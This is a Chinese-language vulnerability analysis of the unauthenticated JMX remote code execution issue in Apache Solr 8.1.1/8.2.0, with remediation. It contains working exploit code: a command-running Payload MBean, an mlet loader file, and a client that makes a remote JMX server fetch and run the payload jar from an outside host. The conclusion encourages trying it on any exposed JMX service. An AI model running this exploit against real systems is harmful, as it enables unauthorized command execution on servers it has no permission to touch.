Apache Solr 之JMX远程代码漏洞分析

 

前言

Apache Solr的8.1.1和8.2.0 linux版本的自带配置文件solr.in.sh中存在ENABLE_REMOTE_JMX_OPTS=”true”选项,并且默认开启,导致apache solr会在默认端口18983端口开放JMX服务,而且不需要身份认证,导致任何可以访问该端口的攻击者能够发起攻击,执行任意命令。

 

JMX和MBean

正如前言所说,这次apache solr 漏洞是JMX问题导致的,所以我们需要选简单介绍下JMX机制。

JMX(Java Management Extensions,即Java管理扩展)是一个为应用程序设备、系统等植入管理功能的框架。狭隘的理解,我们可以通过JMX管理、监视我们的java程序。但是不是所有java程序都能被管理,只有通过特定实现的java才能够被管理,这种特定实现机制就是Mbean。

 

Mbean编写与管理

每一个MBean都需要实现一个接口,下面我们实现一个简单的HelloWorldMBean

public interface HelloWorldMBean {
    public void setGreeting(String greeting);
    public String getGreeting();
    public void printGreeting();
}



public class HelloWorld implements HelloWorldMBean {

    private String greeting = null;

    public HelloWorld(String greeting) {

        this.greeting = greeting;

    }



    public HelloWorld() {

        this.greeting = "Hello World! I am Standard MBean";

    }

    @Override

    public void setGreeting(String greeting) {

        this.greeting = greeting;

    }

    @Override

    public String getGreeting() {

        return this.greeting;

    }

    @Override

    public void printGreeting() {

        System.out.println(this.greeting);

    }

}

如果我们想要监控管理这个HelloWorldMBean,我们需要把该MBean添加到MBeanServer中。代码如下:

public class RemoteMbean {



    public static void main(String[] args){

        try{

            MBeanServer mBeanServer = ManagementFactory.getPlatformMBeanServer();

            //---------------------------------------------

            //local mbean

            System.out.println("Register Hello bean...");

            HelloWorld hello = new HelloWorld();

            ObjectName objectHelloName = new ObjectName("JMXHello:name=hello");

            mBeanServer.registerMBean(hello, objectHelloName);



            //这句话非常重要,不能缺少!注册一个端口,绑定url后,客户端就可以使用rmi通过url方式来连接JMXConnectorServer

            Registry registry = LocateRegistry.createRegistry(1099);

            //构造JMXServiceURL

            JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:1099/jmxrmi");

            //创建JMXConnectorServer

            JMXConnectorServer jmxConnectorServer = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, null, mBeanServer);

            //启动

            jmxConnectorServer.start();

            System.out.println("JMXConnectorServer is running");



        }catch (Exception e){

            e.printStackTrace();

        }

    }

}

然后运行该程序,使用jconsole连接localhost:1099

这里我们可以通过jconsole执行远端HelloWorldMbean的printGreeting函数。

 

远程MBean

上节我们所编写的MBean是在本地的,JMX提供一种机制,可以使用远程的MBean。MLet对象,该对象有一个getMBeansFromURL方法,通过该方法我们可以使用远程的MBean。也正是因为这个原因,才导致JMX存在远程代码执行漏洞的可能。下面我们通过代码,观察下结果。

我们先编写一个Payload的MBean,并将其打包成jar包。

public interface PayloadMBean {

    public String runCmd(String cmd) throws IOException, InterruptedException;

}
public class Payload implements PayloadMBean {

    @Override

    public String runCmd(String cmd) throws IOException, InterruptedException {



        Runtime runtime = Runtime.getRuntime();

        Process process = runtime.exec(cmd);

        BufferedReader stdInput = new BufferedReader(new InputStreamReader(process.getInputStream()));

        BufferedReader stdError = new BufferedReader(new InputStreamReader(process.getErrorStream()));



        String stdout_data = "";

        String strtmp;

        while ((strtmp = stdInput.readLine()) != null) {

            stdout_data += strtmp + "\n";

        }

        while ((strtmp = stdError.readLine()) != null) {

            stdout_data += strtmp + "\n";

        }

        process.waitFor();

        return stdout_data;

    }

}

再创建一个名为mlet的文件,内容如下:
<HTML><mlet code=Payload archive=JMXPayload.jar name=MLetCompromise1:name=Payload,id=12></mlet></HTML>

这个文件是给getMBeansFromURL函数使用的,通过该文件,getMBeansFromURL会到远程下载JMXPayload.jar文件。

将JMXPayload.jar和mlet放在网站同一目录下。

将mletMBean添加到MBeanServer中,代码如下:

public class RemoteMbean {



    public static void main(String[] args){

        try{



            MBeanServer mBeanServer = ManagementFactory.getPlatformMBeanServer();

            //---------------------------------------------

            //local mbean

            System.out.println("Register Hello bean...");

            HelloWorld hello = new HelloWorld();

            ObjectName objectHelloName = new ObjectName("JMXHello:name=hello");

            mBeanServer.registerMBean(hello, objectHelloName);

            //remote mbean

            System.out.println("Register MLet bean...");

            MLet mLet = new MLet();

            ObjectName objectNameMLet = new ObjectName("JMXMLet:type=MLet");

            mBeanServer.registerMBean(mLet, objectNameMLet);

            //mLet.getMBeansFromURL("http://192.168.1.110:8080/mlet");

            //-----------------------------------------------------------------

            //mBeanServer.invoke(evilObject.getObjectName(), "getMBeansFromURL", new Object[] {"http://192.168.1.110:8080/mlet"}, new String[] {String.class.getName()});



            //这句话非常重要,不能缺少!注册一个端口,绑定url后,客户端就可以使用rmi通过url方式来连接JMXConnectorServer

            Registry registry = LocateRegistry.createRegistry(1099);

            //构造JMXServiceURL

            JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:1099/jmxrmi");

            //创建JMXConnectorServer

            JMXConnectorServer jmxConnectorServer = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, null, mBeanServer);

            //启动

            jmxConnectorServer.start();

            System.out.println("JMXConnectorServer is running");



        }catch (Exception e){

            e.printStackTrace();

        }

    }

}

使用jconsole连接localhost:1099

执行getMBeansFromURL函数,加载远程payloadmbean,结果如下:

(这个过程我们也可以在代码里自动完成mLet.getMBeansFromURL(“http://192.168.1.110:8080/mlet”);)

通过加载的远程payloadmbean,我们就可以执行任意命令。

 

远程加载远程MBean

上一节中,我们介绍了本地时如何加载使用远程MBean的,有意思的是,这一过程我们在远程也可以实现,换句话说,就是一个对外开放JMX的系统,我们可以通过代码使其加载远程的恶意payloadmbean,从而实现执行任意代码,而Apache Solr的8.1.1和8.2.0 linux版本,恰恰就是这样一个对外开放JMX服务的系统,所以存在远程执行漏洞。

代码如下:

    static void connectAndCmd(String serverName, String port, String command){

        try{

            JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + serverName + ":" + port + "/jmxrmi");

//            System.out.println("URL: " + jmxServiceURL + ", connecting");

            JMXConnector jmxConnector = JMXConnectorFactory.connect(jmxServiceURL, null);

//            System.out.println("Connected: " + jmxConnector.getConnectionId());

            MBeanServerConnection mBeanServerConnection = jmxConnector.getMBeanServerConnection();

            ObjectInstance evil_bean = null;

            try{

                evil_bean = mBeanServerConnection.getObjectInstance(new ObjectName(OBJECTNAME));

            }catch (Exception e){

                evil_bean = null;

            }

            if(evil_bean == null){

                System.out.println("Trying to create bean...");

                ObjectInstance evilObject = null;

                try{

                    evilObject = mBeanServerConnection.createMBean("javax.management.loading.MLet", null);

                }catch (InstanceAlreadyExistsException e){

                    evilObject = mBeanServerConnection.getObjectInstance(new ObjectName("DefaultDomain:type=MLet"));

                }

                System.out.println("Load " + evilObject.getClassName());

                //调用getMBeansFromURL从远程服务器获取 MBean

                //加载包含 MLET 标记的文本文件,这些标记定义了要添加到 MBean 服务器的 MBean。

                //MLET 文件中指定的 MBean 将被实例化并在 MBean 服务器中注册。

                Object res = mBeanServerConnection.invoke(evilObject.getObjectName(), "getMBeansFromURL",

                        new Object[] {String.format("http://192.168.1.110:8080/mlet", InetAddress.getLocalHost().getHostAddress()) },

                        new String[] {String.class.getName()}

                        );

                HashSet hashSet = (HashSet)res;

                Iterator iterator = hashSet.iterator();

                Object nextObject = iterator.next();

                if(nextObject instanceof Exception){

                    throw ((Exception)nextObject);

                }

                evil_bean = ((ObjectInstance)nextObject);

            }

            //调用恶意 MBean 中用于执行命令的函数

            System.out.println("Loaded class: " + evil_bean.getClassName() + "--- object: " + evil_bean.getObjectName());

            System.out.println("Calling runCommand with: " + command);

            Object result = mBeanServerConnection.invoke(evil_bean.getObjectName(), "runCmd", new Object[]{command}, new String[]{String.class.getName()});

            System.out.println("Result: " + result);

        }catch (Exception e){

            e.printStackTrace();

        }

    }

 

Apache solr测试

使用jsonsole连接solr的18983端口,结果如下(如果连接失败,可能需要修改/etc/hosts下,主机名对应的ip地址,将其修改成实际ip地址)

使用上述代码测试攻击,成功实现任意命令执行

Metasploit也提供了jmx远程代码漏洞利用的模块exploit/multi/misc/java_jmx_server,有兴趣的可以自己试试。

 

修复方案

将solr.in.sh配置文件中的ENABLE_REMOTE_JMX_OPTS选项设置为false,然后重启Solr服务即可。

 

总结

Jmx远程代码执行漏洞是一个通用型漏洞,不单单存在与apache solr中,只要有对外开放JMX服务的系统,我们都可以使用该漏洞进行尝试,说不定有意外的收获。

参考:

https://www.cnblogs.com/trust-freedom/p/6842332.html

https://www.cnblogs.com/Sylon/p/11927518.html

https://www.cnblogs.com/afanti/p/10610682.html

(完)